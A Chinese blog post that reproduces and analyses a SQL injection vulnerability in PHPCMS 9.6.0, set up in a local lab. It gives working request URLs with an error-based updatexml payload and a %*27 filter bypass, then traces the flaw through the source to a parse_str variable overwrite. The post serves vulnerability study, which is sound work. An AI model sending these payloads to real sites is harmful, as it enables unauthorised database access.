phpcms_v9.6.0 SQL注入漏洞分析

环境:

phpstudy本地搭建phpcms

apache2.4.39+php5.3.29+mysql8.0.12

 

漏洞影响版本:

PHPCMS 9.6.0

 

复现:

1、首先访问/index.php?m=wap&c=inde&siteid=1获取cookie

phpcms_v9.6.0 SQL注入漏洞分析

 

 

 2、访问/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28database%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26,发送POST请求带上第一步的加密完的siteid cookie值,从而获取到一个加完密的json cookie值。

phpcms_v9.6.0 SQL注入漏洞分析

 

 

3、访问/index.php?m=content&c=down&a_k=b950ZIHtm9CsnWsrCUMoaDBeQQFT95mtUi29q6xiqhx9TREJsEUi_Z7uvaXqqYkBx5Q870nZNYk8UHuLyXHpUfD3GJXTEKQD-4PV2NR_qXjXDawlHPhDPoton4kVePOsIQVpm_ji1r-YhME_bzI3W6euoPefahowKRsIh0yX7-YByj-bzEnKk4TNzTbE,a_k的值为第二步中加密的json cookie值

phpcms_v9.6.0 SQL注入漏洞分析

 

 成功的执行了第二部中的报错注入的代码,爆出了库名

 

分析:

1、wap模块代码分析

 1     function __construct() {        
 2         $this->db = pc_base::load_model(‘content_model‘);
 3         $this->siteid = isset($_GET[‘siteid‘]) && (intval($_GET[‘siteid‘]) > 0) ? intval(trim($_GET[‘siteid‘])) : (param::get_cookie(‘siteid‘) ? param::get_cookie(‘siteid‘) : 1);
 4         param::set_cookie(‘siteid‘,$this->siteid);    
 5         $this->wap_site = getcache(‘wap_site‘,‘wap‘);
 6         $this->types = getcache(‘wap_type‘,‘wap‘);
 7         $this->wap = $this->wap_site[$this->siteid];
 8         define(‘WAP_SITEURL‘, $this->wap[‘domain‘] ? $this->wap[‘domain‘].‘index.php?‘ : APP_PATH.‘index.php?m=wap&siteid=‘.$this->siteid);
 9         if($this->wap[‘status‘]!=1) exit(L(‘wap_close_status‘));
10     }

从$_GET中提取了siteid的值,并且交给param类中的静态方法set_cookie。

 

2、跟进set_cookie方法

 1     public static function set_cookie($var, $value = ‘‘, $time = 0) {
 2         $time = $time > 0 ? $time : ($value == ‘‘ ? SYS_TIME - 3600 : 0);
 3         $s = $_SERVER[‘SERVER_PORT‘] == ‘443‘ ? 1 : 0;
 4         $var = pc_base::load_config(‘system‘,‘cookie_pre‘).$var;
 5         $_COOKIE[$var] = $value;
 6         if (is_array($value)) {
 7             foreach($value as $k=>$v) {
 8                 setcookie($var.‘[‘.$k.‘]‘, sys_auth($v, ‘ENCODE‘), $time, pc_base::load_config(‘system‘,‘cookie_path‘), pc_base::load_config(‘system‘,‘cookie_domain‘), $s);
 9             }
10         } else {
11             setcookie($var, sys_auth($value, ‘ENCODE‘), $time, pc_base::load_config(‘system‘,‘cookie_path‘), pc_base::load_config(‘system‘,‘cookie_domain‘), $s);
12         }
13     }

通过第4行代码获取cookie的变量名并在第11行通过sys_auth加密,从而获取第一步的ftbOk_siteid值。

 

3、attachment模块代码分析

 1     public function swfupload_json() {
 2         $arr[‘aid‘] = intval($_GET[‘aid‘]);
 3         $arr[‘src‘] = safe_replace(trim($_GET[‘src‘]));
 4         $arr[‘filename‘] = urlencode(safe_replace($_GET[‘filename‘]));
 5         $json_str = json_encode($arr);
 6         $att_arr_exist = param::get_cookie(‘att_json‘);
 7         $att_arr_exist_tmp = explode(‘||‘, $att_arr_exist);
 8         if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
 9             return true;
10         } else {
11             $json_str = $att_arr_exist ? $att_arr_exist.‘||‘.$json_str : $json_str;
12             param::set_cookie(‘att_json‘,$json_str);
13             return true;            
14         }
15     }

通过attachment模块中的attachments.php中的函数swfupload_json(),将获取的aid、src、filename变量赋值然后通过json_encode函数进行json编码,在第12行通过set_cookie对这里我们传入的变量的json编码进行加密。

第二步中的%*27是绕过第3行safe_replace()函数中str_replace对%27的过滤,导致过滤了*而%27仍然保留

 

4、content模块down.php代码分析

 1     public function init() {
 2         echo "init<br/>";
 3         $a_k = trim($_GET[‘a_k‘]);
 4         if(!isset($a_k)) showmessage(L(‘illegal_parameters‘));
 5         $a_k = sys_auth($a_k, ‘DECODE‘, pc_base::load_config(‘system‘,‘auth_key‘));
 6         if(empty($a_k)) showmessage(L(‘illegal_parameters‘));
 7         unset($i,$m,$f);
 8         parse_str($a_k);
 9         if(isset($i)) $i = $id = intval($i);
10         if(!isset($m)) showmessage(L(‘illegal_parameters‘));
11         if(!isset($modelid)||!isset($catid)) showmessage(L(‘illegal_parameters‘));
12         if(empty($f)) showmessage(L(‘url_invalid‘));
13         $allow_visitor = 1;
14         $MODEL = getcache(‘model‘,‘commons‘);
15         $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid][‘tablename‘];
16         $this->db->table_name = $tablename.‘_data‘;
17         $rs = $this->db->get_one(array(‘id‘=>$id));    

down.php中的init()函数会自动调用,第5行对传入的a_k进行一个解密,解密之后就又变成了json编码的值

{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(database())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}

重点在于第8行的parse_str函数,只传入了一个参数造成了$id的变量覆盖,$id的值便变成了我们传入的payload

phpcms_v9.6.0 SQL注入漏洞分析

 

 而第17行就会对我们的传入的注入命令执行,从而报错,得到结果

phpcms_v9.6.0 SQL注入漏洞分析

 

 最终执行语句:

SELECT * FROM `phpcmsv9_61`.`v9_download_data` WHERE  `id` = ‘‘ and updatexml(1,concat(1,(database())),1)#‘ LIMIT 1

 

php中对parse_str()函数的使用

phpcms_v9.6.0 SQL注入漏洞分析

 

phpcms_v9.6.0 SQL注入漏洞分析

上一篇:php orm的C扩展 ycdatabase


下一篇:pyMysql 导入.sql文件